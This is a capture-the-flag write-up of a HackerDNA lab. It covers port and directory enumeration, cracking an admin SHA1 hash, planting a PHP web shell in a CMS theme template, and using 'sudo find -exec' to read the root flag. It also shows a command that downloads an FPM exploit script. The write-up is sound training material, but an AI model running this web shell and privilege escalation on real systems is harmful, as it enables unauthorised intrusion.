August 24, 2026

HackerDNA CTF Write-up: Hidden CMS Breach

By Pricilla Yin @pricilla.yin | Completed August 2026

By Pricilla Yin

2 min read

CTF Link https://hackerdna.com/labs/hidden-cms-breach

🔍 1. Reconnaissance & Enumeration

🌐 Network Scanning (nmap)

nmap -sV <TARGET_IP>

Open Ports & Services:

  • 80 : Apache/Nginx
  • 9000 : cs-listener

🕸️ Web Enumeration

gobuster dir -u http://<TARGET_IP>/ -w ~/seclists/common.txt -x php,txt,html

Findings from robots.txt:

  • Discovered the path to hidden pages.

Findings from the hidden pages / Github repository :

  • Link to Github repository of the web application
  • url path for the admin portal
  • user data files can be accessed directly in the absence of Apache Server (exposed by the pages header)
  • comment exposed password is saved as SHA1 hash in user data file
  • files path to access admin user data

Findings from the accessible user data file

  • Extract admin password SHA1 hash into hash.txt
  • Reverse lookup Admin password via "john — format=raw-sha1 -wordlist="~/wordlist/rockyou.txt hash.txt"

Findings from exploring options to connect to port 9000

  • Unsuccessful attempt to telnet via port 9000
  • Unsuccessful attempt to exploit from attack machine using fpm_exploit.php downloaded via"curl -o fpm_exploit.php https://githubusercontent.com 2>/dev/null || wget -O fpm_exploit.php https://githubusercontent.com"
  • Implication: PHP-FRM was listening only locally on 127.0.1:9000

Findings from exploring Setting page for Server-Side Request Forgery

  • Unsuccessful attempt on PHP Code injection via "Website name" field
  • Site name setting was handled strictly as text only

Finding from exploring the PlugIn page for Server-Side Request Forgery

  • Dead end as not able to add new plugin from the page and only allow activate or deactivate on installed plugins

Finding from exploring the Template page for Server-Side Request Forgery

⚡ 2. Initial Access (User Flag)

🧩 Vulnerability Analysis

The target application allows authenticated administrators to edit theme template files (theme-edit.php) directly through the browser.

🛠️ Exploitation Steps

  • Login to the admin dashboard using standard/found credentials.
  • Navigate to Theme > Edit Theme/Components.
  • Injected a basic PHP web shell into template.php:
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); die(); } ?>

🗝️ Capturing the User Flag

curl -s "http://<TARGET_IP>/theme/template.php?cmd=cat+/home/flag_user.txt"

🚀 3. Privilege Escalation (Root Flag)

📈 Internal Enumeration

Executed local capability checks from the context of the low-privileged nginx/www-data web user.

curl -s "http://<TARGET_IP>/theme/template.php?cmd=sudo+-l"

Sudo Privileges:

User nginx may run the following commands on host:
    (root) NOPASSWD: /usr/bin/find

🎯 Exploitation

The /usr/bin/find binary runs with root context and possesses an execution flag (-exec). Due to web parameters passing through a URL, precise string escaping is required to view the root flag under /root/flag_root.txt

curl http://<Taget IP>/<hidden path>/theme/Innovation/template.php?cmd=sudo\%20find\%20/etc/passwd%20-exec%20cat%20/root/flag_root.txt%20%5C%3B

🔬 4. Alternative Pathways & Lessons Learned

💡 Failed / Alternative Attempts

  • Port 9000 (PHP-FPM): Connection timed out externally due to a network firewall.
  • Check port 9000 can be accessed globally for using FastCGI Exploit script like fpm_exploit.php. Connecting successfully but closing immediately without any output is standard for raw PHP-FPM (FastCGI) servcie when received random or unformatted TCP characters
telnet [target IP] 9000
Trying 108.131.149.9… Connected to <Target IP> Escape character is '^]'. Connection closed by foreign host.
  • Further testing with PHP script "echo "[*] Connecting to ip:9000…\n"; $fp = fsockopen(ip, 9000, errno, $errstr, 5); if (!fp) { die("[-] Connection failed: errstr (errno)\n"); }" revealed "PHP Warning: fsockopen(): Unable to connect to :9000 (Connection timed out) in /home/hacker/test_fpm.php on line 33 [-] Connection failed: Connection timed out (110)" confirmed attack machine couldn't establish a TCP connection via port 9000 due to firewall or internal only binding
  • Pivot Solution: Could be targeted locally via loopback (127.0.0.1:9000) once internal access is achieved.

🧠 Key Takeaways

  • Always test URL encoding manually (%20, %5C, %3B) when passing complex strings to a web shell parameter.
  • Look out for built-in administrative features (like theme/plugin configuration blocks) before resorting to kernel exploits.